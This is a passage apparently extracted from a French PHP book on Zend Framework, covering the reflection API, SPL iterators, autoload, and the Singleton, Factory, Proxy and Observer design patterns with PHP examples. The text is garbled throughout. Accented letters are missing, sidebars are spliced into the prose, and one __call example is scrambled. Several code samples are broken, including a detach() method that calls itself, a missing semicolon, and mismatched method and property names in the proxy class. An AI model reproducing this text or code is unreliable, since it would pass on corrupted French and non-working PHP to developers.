Cette API peut rendre de grands services, elle est la base des projets de documentation de code (DocBook, PHPDocumentor), ainsi que de certaines structures trs souples comme les objets Mock utiliss pour les tests unitaires. LAPI de rflexion permet, par exemple, de rpondre ces questions : Quelles mthodes sont disponibles pour cette classe/cet objet ? Combien de paramtres prend cette fonction ? Quels sont les paramtres facultatifs de cette mthode ? Combien dattributs privs comporte cet objet ? Comment extraire la documentation de cette classe ?
PHP Intgration de la rflexion
Reflection est une extension PHP propose par dfaut lors de linstallation ou dans les paquetages. Comme elle devient indispensable la construction de frameworks, ou mme pour certaines autres extensions PHP, il ne sera bientt plus possible de la supprimer de PHP via la compilation.

Figure C9

Diagramme de classes de lextension Reflection

Trs pratique, si vous voulez la documentation de nimporte quelle extension PHP, classe, mthode, etc., la mthode statique export() de la classe Reflection est l :

Groupe Eyrolles, 2008

353

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

Export de tout larbre dune extension


Reflection::export(new ReflectionExtension('PDO')); // ceci affiche (tronqu) : Extension [ <persistent> extension #36 PDO version 1.0.4dev ] { - Dependencies { Dependency [ spl (Required) ] } - Functions { Function [ <internal:PDO> function pdo_drivers ] { } } - Classes [4] { Class [ <internal:PDO> class PDOException extends RuntimeException ] { - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [5] { Property [ <default> protected $message ] Property [ <default> protected $code ] Property [ <default> protected $file ] Property [ <default> protected $line ] Property [ <default> public $errorInfo ] } - Methods [9] { Method [ <internal, inherits Exception> final private method __clone ] { } (...)

Il est possible dafficher tout ce qui implmente linterface Reflector, donc tout objet des classes Reflection*. Notez que pour crer ce diagramme de classes, nous avons simplement demand un export de lextension Reflection elle-mme. Zend Framework utilise la rflexion certains endroits, voyons la mthode Zend_Controller_Front::resetInstance() :
Retour des valeurs par dfaut de tous les attributs dune classe
public function resetInstance() { $reflection = new ReflectionObject($this); foreach ($reflection->getProperties() as $property) { $name = $property->getName(); switch ($name) { case '_instance': break; case '_controllerDir':

354

Groupe Eyrolles, 2008

case '_invokeParams': $this->{$name} = array(); break; case '_plugins': $this->{$name} = new Zend_Controller_Plugin_Broker(); break; case '_throwExceptions': case '_returnResponse': $this->{$name} = false; break; case '_moduleControllerDirectoryName': $this->{$name} = 'controllers'; break; default: $this->{$name} = null; break; } } }

De la mme manire, Zend_Log utilise lAPI de rflexion pour insrer toutes ses constantes dans un attribut de type tableau :
Utilisation de la Rflexion par Zend_Log
public function __construct(Zend_Log_Writer_Abstract $writer = null) { $r = new ReflectionClass($this); $this->_priorities = array_flip($r->getConstants()); // ... }

Nous pouvons aussi reprendre lexemple de la mthode magique __call(). Dans cet exemple, nous interceptons les mthodes dont les signatures sont set<attr>() et get<attr>() afin de les utiliser sur les attributs de la classe. Si nous avions voulu bloquer les attributs privs, nous aurions agi comme ceci :
Exemple de setters et getters avec __call() pour les attributs non privs
class ZFBook { public $attribut1 = 1; protected $_attribut2 = 2; private $_attribut3 = 3;

public function __call($method, $args) { if (property_exists($this, $attr = substr($method, 3))) { $attribut = new ReflectionProperty($this, $attr); if ($attribut->isPrivate()) { throw new Exception("vous ne pouvez modifier un attribut priv");

Groupe Eyrolles, 2008

355

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

} if($access return } if($access return }

= substr($method, 0, 3) == 'set') { $this->$attr = $args[0]; = substr($method, 0, 3) == 'get') { $this->$attr;

} throw new Exception("La mthode $method nexiste pas"); } }

Grce

ReflectionClass::newInstance()

NOTER Rflexion en lecture seule


Il nest pas possible de crer de lintelligence artificielle, car lAPI de rflexion ne peut quutiliser le modle objet en lecture. Elle ne peut pas, par exemple, permettre un objet dapprendre et de sinjecter lui-mme des mthodes, ou dautomodifier son comportement.

mthodes exotiques comme ou ReflectionMethod::invoke(), il est possible dutiliser des objets de manire parallle la syntaxe PHP, et ainsi de crer des objets Mock, cest--dire des objets qui vont simuler le comportement dautres objets, ou qui vont tre laddition virtuelle des fonctionnalits de plusieurs objets. Associe aux

certaines

fonctions PHP sur les classes telles que la classe Reflection permet de construire des systmes orients objet trs pousss et trs structurs tels que des plugins polymorphes.
get_declared_classes(),

SPL : Standard PHP Library


RENVOI Design patterns
Les designs lannexe D. patterns sont expliqus dans

La SPL est une extension qui, comme la rflexion, est active par dfaut dans PHP (on ne pourra dailleurs plus la dsactiver prochainement). Elle se compose dun ensemble de classes et dinterfaces crites en C dans Zend Engine 2, pour la plupart, et donc disponibles dans PHP nativement. Elles sont trs performantes. Cette extension donne accs des design patterns qui sont souvent trs utiles, si bien quessayer la SPL, cest ladopter. Comme la SPL est intgre au Zend Engine 2, elle va changer le comportement de structures PHP dont on a lhabitude, notamment foreach(), count() ou encore la manipulation des tableaux.
foreach() va ragir linterface Traversable. Cette interface tant interne au moteur de PHP, il faudra utiliser les interfaces Iterator ou IteratorAggregate pour faire ragir foreach() de manire particulire lorsquil est utilis sur un objet. spl_classes()

RESSOURCE Informations sur la SPL


Pour de plus amples informations sur la SPL, visitez la documentation de PHP, ou le site : B http://www.php.net/~helly/php/ext/spl/

PHP propose des fonctions relatives aux classes et interfaces de la SPL : et get_declared_interfaces() vous en donneront un aperu.

356

Groupe Eyrolles, 2008

Iterator
Litrateur est un design pattern. Tout ce qui est traversable (que lon peut traverser, parcourir) peut, en implmentant linterface Iterator, dfinir la manire dont il va tre parcouru. On peut aussi dire que tout objet peut accder lensemble des lments quil contient. En prenant un peu de recul, on pourra remarquer que presque tout est traversable : un livre est parcouru en accdant ses chapitres, qui euxmmes se composent de pages. Ces pages sont traversables : elles contiennent des paragraphes, composs leur tour de phrases, qui sont des suites de lettres dcrites par des suites doctets... Linterface Iterator dfinit les mthodes de litrateur de plus bas niveau. Dautres classes adaptes des structures particulires implmentent cette interface.
Principe fondamental de litrateur
$iterator->rewind(); while ($iterator->valid()) { echo $iterator->current(); $iterator->next(); }

T Itrateur

Un itrateur est un objet qui permet de parcourir tous les lments contenus dans un autre objet, le plus souvent un conteneur (liste, arbre, etc). (Wikipdia, 2008).

Figure C10

Cest exactement la manire dont agit la boucle foreach, en interne. Lorsquon lutilise sur des tableaux PHP (array), ceux-ci utilisent en interne litrateur, et on ne sen rend pas compte. Du moins pas tout fait, car PHP nous donne accs cet itrateur interne, via les fonctions next(), key(), current(), prev(). Applique sur des objets, litration au travers dune structure foreach() fait apparatre les attributs publics de lobjet parcouru. Cest le comportement par dfaut, que lon peut changer en implmentant linterface Iterator.
Une phrase se compose dun enchanement de lettres
class Phrase implements Iterator { protected $_word; protected $_position; private $_step; public function __construct($string, $step = 1) { $this->_word = $string; $this->setStep($step); } public function setStep($step) { $this->_step = (int) $step; }

Linterface Iterator

Groupe Eyrolles, 2008

357

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

public function rewind() { $this->_position = 0; } public function next() { $this->_position += $this->_step; } public function valid() { return (isset($this->_word[$this->_position])); } public function current() { return $this->_word[$this->_position]; } public function key() { return $this->_position; } } $phrase = new Phrase("Zend Framework"); foreach ($phrase as $lettre) { echo $lettre; // Zend Framework } $phrase->setStep(2); foreach ($phrase as $lettre) { echo $lettre; // Zn rmwr }

ATTENTION Boucles infinies


Attention aux boucles infinies : si la mthode valid() retourne toujours true, la boucle devient sans fin...

Le principe est ici associ un objet Phrase. Il nous vient rapidement en tte des structures un peu plus frquentes : un tableau, un dossier, ou le DOM (Document Object Model) pour du XML. Heureusement, il existe dj des itrateurs pour ces structures-l et tous implmentent Iterator : ArrayIterator, DirectoryIterator, SimpleXmlIterator.

RecursiveIterator
Un des problmes courants concernant les itrateurs est la rcursivit. Un dossier comporte plusieurs fichiers, mais peut aussi comporter des dossiers. Un tableau comporte des lments, mais on peut nicher un tableau dans un autre, etc.

358

Groupe Eyrolles, 2008

Les itrateurs rcursifs sont pour cela bien pratiques, car une seule boucle foreach() va permettre de sortir tous les enfants, et en plus, rangs dans un certain ordre que lon peut choisir.
Itration rcursive sur des tableaux
$tab = array('a', 'b', array('c', 'd')); $iterator = new RecursiveArrayIterator($tab); foreach(new RecursiveIteratorIterator($iterator) as $element) { echo $element; // abcd }

La classe RecursiveIteratorIterator permet de manipuler un itrateur rcursif, comme avec RecursiveArrayIterator. Lorsquun enfant est prsent, le comportement par dfaut est alors dentrer dedans. Ce comportement est modifiable.
Itration rcursive sur des nuds XML
$xml =<<<EOF <doc> <a>hello</a> <a> <b>world</b> <c /> <d> <e>coucou</e> </d> </a> </doc> EOF; $sxml = new SimpleXMLIterator($xml); $iterator = new RecursiveIteratorIterator($sxml); foreach ($iterator AS $k=>$v) { echo $k . '=>' . $v . '<br>'; } // ceci affiche : a=>hello b=>world c=> e=>coucou

Figure C11

Linterface RecursiveIterator

Itration rcursive dun dossier


$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('chemin/a/lister'));

Groupe Eyrolles, 2008

359

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

foreach ($it as $element) { if ($element->current()->isDir() === false) { echo $element->current()->getFileName() . '<br>'; } }

Autres itrateurs
La SPL pouvant faire lobjet dun ouvrage part entire (elle comporte des dizaines de classes, majoritairement des itrateurs), nous allons simplement montrer quelques cas qui vous donneront certainement envie de fouiller un peu plus dedans.
ParentIterator ne ressort que les enfants possdant un pre
$xml =<<<EOF <doc> <a>hello</a> <a> <b>world</b> <c /> <d> <e>coucou</e> </d> </a> </doc> EOF; $sxml = new SimpleXMLIterator($xml); $it = new ParentIterator($sxml); foreach ($it as $key=>$value) { echo $key; // ad }

FilterIterator permet de filtrer les rsultats dun itrateur


class ImageIterator extends FilterIterator { public function __construct($path) { parent::__construct(new DirectoryIterator($path)); } public function accept() { $item = $this->getInnerIterator(); if (!$item->isFile()) { return false; }

360

Groupe Eyrolles, 2008

return in_array(pathinfo($item->getFilename(), PATHINFO_EXTENSION), array('jpg','png','gif')); } } $img = new ImageIterator('chemin/vers/un/dossier'); foreach ($img as $v) { echo $v; } FilterIterator pilote simplement un itrateur, mais dfinit, en plus de la mthode valid(), une mthode accept(), qui peut faire sauter litration en cours si elle est juge non valide (dans notre exemple : lextension nest pas .jpg, .png ou .gif).

AppendIterator ajoute des itrateurs les uns la suite des autres


$array1 = new ArrayIterator(array('a', 'b')); $array2 = new ArrayIterator(array('c', 'd')); $it = new AppendIterator(); $it->append($array1); $it->append($array2); foreach($it as $value) { echo $value; // abcd }

EN SAVOIR PLUS Classement des rsultats


Beaucoup ditrateurs prennent un second paramtre en constructeur qui va dterminer la manire dont litration doit se passer. Renseignez-vous en consultant la documentation.

LimitIterator pilote un itrateur mais limite les rsultats sur une borne
$array = range(0, 10); $ait = new ArrayIterator($array); $lit = new LimitIterator($ait, 2, 6); foreach($lit as $value) { echo $value; // 234567 }

ZEND FRAMEWORK Itrateurs


Zend Framework utilise beaucoup les itrateurs. Zend_Db_Table_Rowset est le plus classique.

Lautoload
En conception logicielle, il est recommand (et mme obligatoire pour certains langages comme Java) dcrire une classe par fichier. Ceci permet une organisation prcise du code en introduisant mme la notion de hirarchie, que lon retrouve en UML, tout en gardant des conventions reprises par dautres langages. Or un problme apparat rapidement lorsque beaucoup dobjets entrent en jeu, comme cest le cas avec Zend Framework : il faut inclure chaque fichier contenant chaque classe que lon souhaite utiliser et ceci peut savrer long et fastidieux. Un simple oubli et cest lerreur fatale. PHP possde un concept dautoload : lorsquune classe est demande et que PHP ne la trouve pas, juste avant denvoyer une erreur de type E_FATAL, il effectue une dernire recherche. Il va parcourir la queue
Groupe Eyrolles, 2008

361

C Programmation oriente objet

Zend Framework - Bien dvelopper en PHP

dautoloads, et en excuter toutes les fonctions. Ces fonctions dites dautoload vont alors inclure la classe demande, selon un motif bien prcis, qui fera partie des conventions de nom des fichiers du projet.
Exemple de fonction dautoload simple
function __autoload($class) { require_once($class . '.php'); } $obj = new uneClasse();

Dans cet exemple, la classe uneClasse nexiste pas. Cependant, une fonction magique __autoload() a t dclare avant lappel la classe. PHP va ainsi excuter le code dans cette fonction, avant de retenter de crer un objet de la classe. Le code de cette fonction dit PHP dinclure un fichier ayant le nom de la classe appele, suivi de lextension .php. On met donc, dans la fonction dautoload, le code qui va dfinir la rgle de nommage des classes. Dans Zend Framework, cette rgle dit que tout caractre soulign _ dans le nom de la classe, doit tre remplac par un slash / pour inclure le fichier contenant la classe :
RAPPEL Chargement impossible ?
Bien entendu, si PHP narrive pas charger le fichier, ou si ce fichier ne contient pas la classe appele, une erreur E_FATAL sera leve.

Fonction dautoload du ZendFramework


function __autoload($class) { $file = str_replace('_', DIRECTORY_SEPARATOR, $class) . '.php'; require_once($file); }

La fonction magique __autoload() fonctionne correctement, cependant, lorsquon utilise plusieurs frameworks ou bibliothques, chacun dentre eux peut avoir ses propres rgles dautoload et de nom des classes. Or il ne peut exister quune seule fonction __autoload(), sous peine derreur pour cause de redfinition.
NE PAS CONFONDRE Queue et pile
Une queue promet un ordre FIFO (First In First Out) : le premier lment ajout est le premier lment retir (ou trait). Une pile agit dans lordre LIFO (Last In First Out) : le premier lment ajout est le dernier tre retir (ou trait). La confusion est frquente.

Pour viter cela, au lieu dutiliser une simple fonction magique, PHP sait grer aussi une queue de fonctions dautoload. Chacune des fonctions enregistres dans la queue est alors excute et la premire qui permet de dfinir la classe appele est lance.
Gestion dune pile autoload
function Chargeur1($class) { require_once($class); }

362

Groupe Eyrolles, 2008

function Chargeur2($class) { $file = str_replace('_', DIRECTORY_SEPARATOR, $class) . '.php'; require_once($file); } spl_autoload_register('Chargeur1'); spl_autoload_register('Chargeur2'); $obj = new UneClasse() UneClasse

nexiste pas. PHP va donc parcourir les fonctions dautoload dans la queue et essayer chacune dentre elles. Si aucune nest satisfaisante, PHP naura dautre choix que de renvoyer une erreur E_FATAL. Lautoload est donc trs pratique, mais peut savrer dangereux : on peut perdre le fil de son projet, en ne sachant plus qui dpend de qui ; il peut avoir un impact sur les performances, il nest en gnral pas norme, mais quantifiable ; il ne faut pas oublier, lors du dploiement de son projet, de bien synchroniser ses serveurs (si le dveloppement utilise lautoload, mais pas la production, il ne faudra pas loublier) ; dans de rares cas, lautoload peut charger la mauvaise classe, lorsquon lutilise. Il ne faut jamais oublier quil est activ lorsquon rencontre un bogue louche.

ATTENTION Mthode magique dsactive


spl_autoload_register() supprime leffet dune ventuelle fonction __autoload() aussi prsente. Si celle-ci doit tre utilise, il faut alors lenregistrer explicitement dans la queue.

CHOISIR Fonction ou mthode ?


Sauf cas rares, chaque fois quune fonction PHP demande denregistrer le nom dune fonction, comme spl_autoload_register(); il est possible de lui passer un tableau dsignant une mthode statique dune classe, de la forme array('class', 'function').

Attention, certaines fonctions PHP ragissent lautoload. Cest le cas de class_exists() qui prend un boolen en deuxime paramtre, pour dterminer si la fonction doit prendre en compte lautoload ou non. Les rsultats peuvent tout de mme passer de true false ! Il faut donc rester vigilant.

Groupe Eyrolles, 2008

363

C Programmation oriente objet

Design patterns

D
SOMMAIRE

B Quest un design pattern ?

Les design patterns (aussi appels motifs de conception) reprsentent des structures objet. Programmer avec des objets nest efficace que si leur structuration est bonne. Combien doit-il y avoir de classes ? Quels objets possdent quelles responsabilits ? Comment les objets interagissent-ils entre eux ? Comment faire en sorte que limpact dun changement dans le programme soit matris et limit ? Toutes ces rponses sont donnes par les motifs de conception, qui assurent au final une application cohrente, dcouple, testable et maintenable. Les motifs proposent des faons de concevoir son code ; ils sont reconnus dans le gnie logiciel et indpendants du langage de programmation utilis. Ils rpondent des problmes connus et rcurrents du dveloppement logiciel.

B Connatre les principaux


patterns

B Exemples pratiques
MOTS-CLS

B objet B dcoupage applicatif B responsabilits B dlgation de tche B assemblage dobjets B Singleton B Fabrique B Proxy B Observateur B Registre

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

PRREQUIS Connaissance du modle objet


Ce chapitre ncessite une bonne comprhension du modle objet de PHP. Si vous ntes pas laise avec celui-ci, rendez-vous lannexe C qui vous donnera de bonnes bases pour comprendre les motifs de conception.

Ce chapitre vous fait dcouvrir lintrt des design patterns. Vous les manipulerez et vous aurez aussi une ide de la manire dont ils sont utiliss dans le code source de Zend Framework, afin de lui assurer la flexibilit quon lui connat.

Comprendre les motifs de conception


Pour schmatiser, on peut comparer les design patterns un moteur de voiture. Celui-ci est dune tonnante complexit, et dune incroyable prcision. Cest un ensemble de pices (dobjets) qui fonctionnent toutes ensemble. La manire dont fonctionnent ces pices les unes avec les autres, et la responsabilit attribue chacune reprsentent un ensemble de motifs de conception. Lorsquune pice casse dans un moteur, on est capable de lisoler. On est capable aussi de la remplacer, et mme de la tester part. Ce nest que parce que chaque pice possde un rle unique, et parce quelles ont toutes t prvues pour fonctionner ensemble dune manire prcise et rflchie, que le tout, le moteur, finit par tourner et faire avancer le vhicule. Les design patterns reprsentent ainsi la manire dont chaque objet va ragir, soit individuellement, soit avec les objets voisins. Comme un moteur peut ne pas tourner rond ou ne pas tourner du tout si ses pices sont mal assembles, il en va de mme pour une application : si ses objets sont mal conus, ou sils narrivent pas communiquer correctement ensemble, alors cest toute lapplication qui en paiera les consquences. Il est possible de crer une application web (raisonnable) dans un seul objet, tout comme il est possible de la crer avec des milliers dobjets. Dans les deux cas, lapplication ne sera facile ni maintenir, ni tester. Depuis trs longtemps, les architectes logiciel ont analys et valu des manires de concevoir les objets, de manire individuelle, ou dans un tout. Il en est ressorti des dizaines de faons remarquables de les faire communiquer, chacune rpondant un problme prcis et rcurrent : chacune de ces faons reprsente alors un motif de conception. Le but ultime est dobtenir un programme forte cohsion et faible couplage.

T Couplage

Le couplage applicatif reprsente le nombre de dpendances que possde une classe envers dautres classes. Plus celles-ci sont nombreuses et bidirectionnelles, plus le code est coupl, et plus lintroduction dun changement aura de rpercussions et prendra du temps. Il est ncessaire de veiller en permanence au couplage des classes. Des outils tels que PHP_Depend permettent dailleurs danalyser celui-ci.

T Cohsion

La cohsion dune classe reprsente ses responsabilits. Plus la cohsion est forte, moins la classe possde de responsabilits, ce qui est leffet recherch. Une classe forte cohsion rsistera mieux au changement. Par exemple, il peut tre ncessaire de sparer en deux classes la notion logique ouvrir un fichier , en ouvrir + un fichier .

366

Groupe Eyrolles, 2008

Motif Singleton
De tous les motifs de conception, le Singleton est le plus simple comprendre. Son rle est de sassurer quune classe ne pourra donner naissance qu une et une seule instance, point final. Il fait en sorte quil soit impossible de crer plusieurs objets diffrents au sein dune mme classe. De tels cas peuvent tre amens apparatre : par exemple, une connexion une base de donnes devrait en thorie tre unique.
Figure D1

Diagramme de classes du pattern Singleton

Exemple de motif Singleton en PHP


Ce design pattern est relativement simple crire en PHP, voyons cela :
Un motif Singleton en PHP
class Singleton { protected static $_instance = null; protected function __construct() { // ... } public static function getInstance() { if (is_null(self::$_instance)) { self::$_instance = new self; } return self::$_instance; } private function __clone() {} }

Lastuce rside dans le fait que le constructeur nest pas public. On ne peut donc pas lappeler (par le mot-cl new) depuis lextrieur de la classe, mais uniquement depuis lintrieur de cette classe ou de lun de ses enfants (visibilit protge).
Singleton,

Nous avons bien pris soin aussi dempcher le clonage dun objet ce qui aurait men la faillite de notre objectif : navoir en tout point du script quune et une seule instance de cette classe.

Pour crer une (la seule) instance de la classe Singleton, nous avons mis en avant une mthode statique appele getInstance(). Celle-ci sassure que linstance retourne est toujours la mme.

Groupe Eyrolles, 2008

367

D Design patterns

Zend Framework - Bien dvelopper en PHP

Utilisation du Singleton REMARQUE Singleton protg ?


Le motif prsent ci-dessus utilise la visibilit protge (protected) plutt que prive (private), de manire pouvoir tre facilement hrit. Le fils naura alors qu redfinir une proprit statique $_instance protge, et le tour sera jou.
$instance = Singleton::getInstance(); $instance->uneMethode();

Un Singleton dans Zend Framework ?


Zend Framework utilise plusieurs fois ce pattern. Cest notamment le cas de Zend_Controller_Front. En effet, le contrleur frontal reprsentant conceptuellement lapplication dans son ensemble, on comprend bien quil ny ait quune seule application par script. Avoir plusieurs instances du contrleur frontal na absolument aucun sens. Nous pouvons encore citer Zend_Auth, Zend_Registry...

Motif Fabrique
Il arrive parfois que les classes soient nommes dune manire commune, dans un espace de noms donn. Aussi, il peut vite devenir pnible de chercher une classe dans un groupe de classes similaires, dans le but de linstancier. Le motif Fabrique se charge de chercher la bonne classe et den retourner une instance. Il inclut ainsi la logique de recherche et de cration dobjets, en proposant une API simple pour rechercher son instance.

Exemple de motif Fabrique en PHP


RENVOI Rflexion
La notion de rflexion est aborde dans lannexe C relative la programmation oriente objet.

Notre exemple va utiliser un motif Singleton, lextension de Rflexion ainsi quune mthode magique afin de proposer une API simplifie.
Pour exposer le problme, voici un exemple :
class DBAdapters_Mysql { public function __construct($host, $login, $pass) { // ... } } class DBAdapters_Pgsql { public function __construct($host, $login, $pass) { // ... } }

Figure D2 Diagramme de classes

dun pattern Fabrique en PHP

368

Groupe Eyrolles, 2008

$objetMysql = Factory::getInstance('DBAdapters_') ->mysql('localhost', 'name', 'pass')); $objetPgsql = Factory::getInstance('DBAdapters_') ->pgsql('somehost', 'myname', 'mysecretpass'));

Lobjet de Fabrique est un singleton dont le paramtre reprsente lespace de noms de la future classe crer. Il peut ensuite crer les objets des classes dsires par un simple appel de mthode portant le nom de la classe instancier. Ce motif est un exemple de Fabrique, un peu labor, afin de convenir une majorit de cas. Voyons comment il tire parti des atouts du modle objet de PHP :
Un motif Fabrique gnrique
final class Factory { private static $_instance = null; private $_namespace; protected function __construct() {} public static function getInstance($namespace = null) { if (is_null(self::$_instance)) { self::$_instance = new self; } self::$_instance->_namespace = $namespace; return self::$_instance; } public function __call($meth, $args) { $class = ucfirst(strtolower($this->_namespace . $meth)); if (class_exists($class, false)) { $refClass = new ReflectionClass($class); if ($refClass->isInstantiable() && $refClass->hasMethod('__construct')) { return $refClass->newInstanceArgs($args); } else { throw new Exception("La classe $class nest pas instanciable"); } } else { throw new Exception("La Classe $class est introuvable"); } } }

Groupe Eyrolles, 2008

369

D Design patterns

Zend Framework - Bien dvelopper en PHP

La mthode __call() se charge de trouver la classe en prenant soin dutiliser lespace de noms ($_namespace) ventuel. Elle vrifie ensuite que celle-ci peut tre instancie et en retourne un objet.

Une Fabrique dans Zend Framework ?


Lexemple ci-dessus possde des similitudes avec Zend_Db. Cette classe ne possde quune mthode statique, factory(), qui permet de chercher la classe correspondant ladaptateur de base de donnes dsir, puis den retourner un objet. utilise aussi la Fabrique comme interface simple de cration dobjets de cache. Ceux-ci se dcomposent en un objet frontal (que mettre en cache ?) et un objet support (dans quel support mettre en cache ?).
Zend_Cache

Motif Proxy
Le Proxy est un motif reprsent par un objet sintercalant entre deux autres. Un objet A peut vouloir appeler une mthode sur un autre objet B, mais sans savoir si B est disponible pour recevoir ce message. Lobjet A va donc faire appel un objet C, charg dappeler lobjet B pour lui. Il pourra mme mettre en cache ses donnes.
Figure D3

Diagramme de classes du pattern Proxy

Ceci est le schma dun Proxy de base.

Exemple de motif Proxy dynamique


Pour le code, nous allons nous pencher sur un Proxy dynamique, cest-dire un proxy qui prend en charge toutes les mthodes de lobjet gr par le proxy.
Un design pattern Proxy dynamique
class Proxy { private $_client; public function __construct($client) { $this->_client = $client; }

370

Groupe Eyrolles, 2008

public function __call($meth, $params) { $classMeth = array($this->_client,$meth); return @call_user_func_array($classMeth, $params); } }

La mthode __call() intercepte les appels de mthodes sur lobjet Proxy et les redirige sur les mthodes de lobjet client (proxi). Un Proxy plus volu peut transformer les appels de fonctions PHP vers des mthodes sur un objet proxy dynamique. En saidant un peu de la SPL, le dynamisme sera encore accru, puisque nous permettons notre objet de se comporter comme un tableau.
Cas dutilisation dun design pattern Proxy dynamique volu
<?php $p = new functionProxy(); $p['str']->str($a, $b); // proxie vers strstr($a, $b) $p['array']->mergeRecursive($a, $b); // proxie vers array_merge_recursive($a, $b) $p['stream']->copyToStream($a, $b); // proxie vers stream_copy_to_stream($a, $b)

RENVOI SPL
La SPL est la Standard PHP Library, dtaille dans lannexe C concernant la programmation oriente objet.

Quel est donc cet objet magique dsign par $p ? Il reprsente un miroir vers des fonctions PHP que nous connaissons tous. Il en transforme mme la syntaxe, puisque les fonctions PHP crites avec des souligns (fonction_php()) se transforment en appelsCamelCaseSympathiques() (une majuscule au dbut de chaque mot, sauf le premier). Il est mme capable de lever des exceptions si les appels sont errons :
Appel dune fonction PHP inexistante
$p['array']->notExist(); // ceci affiche : Fatal error: Uncaught exception 'FunctionNotExistsException' with message 'PHP function array_not_exist doesn't exists' in...

Appel incorrect dune fonction PHP


$p['str']->wordCount($a); // ceci affiche : Fatal error: Uncaught exception 'BadParameterException' with message 'str_word_count() expects at least 1 parameter, 0 given in...

Groupe Eyrolles, 2008

371

D Design patterns

Zend Framework - Bien dvelopper en PHP

Sans plus attendre, voici la (les) classe(s) :


<?php class FunctionNotExistsException extends Exception {} class BadParameterException extends Exception {} class functionProxy implements ArrayAccess { const SEPARATOR = '_'; private $_proxy = null; public function __construct() { } /** * ArrayAccess implementation */ public function offsetGet($offset) { $this->setProxy($offset); return $this; } /** * ArrayAcces implementation */ public function offsetSet($offset,$value) { throw new Exception('Affectation interdite'); } /** * ArrayAcces implementation */ public function offsetExists($offset) { return $offset == $this->_proxy; } /** * ArrayAcces implementation */ public function offsetUnset($offset) { throw new Exception('Drfrencement interdit'); } /** * Proxy */

372

Groupe Eyrolles, 2008

public function __call($func,$args) { // remplace les underscores par du camelCase $func = strtolower(preg_replace(array( '#(?<=(?:[A-Z]))([A-Z]+)([A-Z][A-z])#', '#(?<=(?:[a-z]))([A-Z])#'), array('\1' . '_' . '\2', '_' . '\1'),(string)$func)); if (!function_exists($this->createFunctionName($func))){ throw new FunctionNotExistsException("PHP function" X . $this->_createFunctionName($func) . " doesnt exists"); } unset($php_errormsg); // transforme l'erreur PHP en exception if (ini_get('track_errors') == 0) { ini_set('track_errors', 1); } // appel de la fonction PHP reprsente $return = @call_user_func_array( $this->_createFunctionName($func),$args); if (isset($php_errormsg)) { throw new BadParameterException($php_errormsg); } return $return; } public function setProxy($proxy) { $this->proxy = (string)$proxy; } private function _createFunctionName($func) { if (strpos($func, '_') !== false) { return $this->_proxy . self::SEPARATOR . $func; } return $this->_proxy . $func; } }

Notez le jeu habile de transformation de la casse et de linterception des erreurs via la variables $php_errormsg (cette astuce est utilise dans le code source de Zend Framework).

Un Proxy dans Zend Framework ?


Le Zend Framework utilise ce motif plusieurs endroits, mais lemplacement le plus flagrant est sans doute dans le composant Zend_View.
Groupe Eyrolles, 2008

373

D Design patterns

Zend Framework - Bien dvelopper en PHP

RENVOI Zend_View
La classe Zend_View est traite en dtail au chapitre 7.

La classe de base Zend_View ne possde que quelques mthodes utilisables, mais grce lajout dobjets dits daide (Zend_View_Helper_Abstract), les mthodes inconnues appeles sur un objet Zend_View sont aiguilles par le motif de conception Proxy vers laide approprie.

Motif Observateur/Sujet
Le design pattern Observateur/Sujet (que lon abrgera par Observateur ), est un grand classique dans le dcouplage applicatif. Il met clairement en avant les pratiques objet recommandes : faible couplage, forte cohsion.

Figure D4

Diagramme de classes du pattern Observateur

Exemple de motif Observateur


Imaginons que nous souhaitions crer un gestionnaire derreurs PHP. Le langage permet en effet de dfinir une fonction ou une mthode qui sera appele lorsquune erreur PHP surviendra. Dans notre cas, nous souhaitons, au dclenchement dune erreur, enregistrer celle-ci sur plusieurs supports : une base de donnes ; un fichier ; un e-mail qui sera envoy ; ... tout autre support. Lerreur ne pas faire est de dvelopper toutes ces fonctionnalits dans une seule classe. La cohsion serait alors trs faible : une seule classe aurait la responsabilit de tous les supports de stockage des erreurs, et un changement ultrieur imposerait probablement une rcriture de la classe complte. Le motif Observateur va nous aider sparer les responsabilits. La classe principale qui va enregistrer les erreurs PHP ne fera que notifier chacun des objets qui lobservent. Ces objets reprsenteront chacun un support denregistrement unique de lerreur. 374
Groupe Eyrolles, 2008

Figure D5

Diagramme de classes du pattern Observateur pour notre exemple

La classe ErrorHandler se charge de capturer les erreurs PHP


<?php class ErrorHandler implements SplSubject { private $_errno; private $_errstr; private $_errline; private $_errfile; private $_observers; public function __construct() { $this->_observers = new SplObjectStorage; } public function error($errno, $errstr, $errfile, $errline) { // on nenregistre pas les erreurs supprimes avec le // caractre arobase '@' if(error_reporting() == 0) { return; } $this->_errno = $errno; $this->_errstr = $errstr; $this->_errfile = $errfile; $this->_errline = $errline; $this->notify(); // PHP 5.2 : false doit tre retourn // pour peupler $php_errormsg return false; } public function getError() { return $this->_errstr . ', ' . $this->_errfile . ', ' . $this->_errline; }

Groupe Eyrolles, 2008

375

D Design patterns

Zend Framework - Bien dvelopper en PHP

public function attach(SplObserver $obs) { // ajout dun observateur $this->_observers->attach($obs); return $this } public function detach(SplObserver $obs) { // suppression dun observateur $this->detach($obs); return $this; } public function notify() { // itration sur les observateurs foreach ($this->_observers AS $observer) { try { // notification $observer->update($this); } catch(Exception $e) { die($e->getMessage()); } } return $this; } }

Nous dclarerons plus tard la mthode error() de notre classe ErrorHandler comme tant la fonction de gestion des erreurs PHP. Cette mthode enregistre lerreur dans les attributs de lobjet, avant dappeler une mthode notify() qui va alors son tour appeler update() sur tous les objets observateurs, en leur attribuant sa propre instance.
REMARQUE La SPL la rescousse
La SPL nous est utile une fois de plus ici. Elle fournit en effet les deux interfaces ncessaires la bonne implmentation logique du motif Observateur/Sujet.

Les objets observateurs nauront plus qu rcuprer lerreur grce la mthode getError() de notre gestionnaire derreurs puis en faire ce quils voudront (lenregistrer, par exemple). Pour stocker des objets, la classe SplObjectStorage (issue de la SPL) est tout fait approprie.
Une classe Observateur, pour lenregistrement des erreurs dans un fichier
class FileWriter implements SplObserver { private $_fp; public function __construct($filepath) { if (FALSE === $this->_fp = @fopen($filepath,'a+')) { throw new Exception("Fichier de log inaccessible.");

376

Groupe Eyrolles, 2008

} } public function update(SplSubject $errorHandler) { fputs($this->_fp,$errorHandler->getError() . PHP_EOL); } }

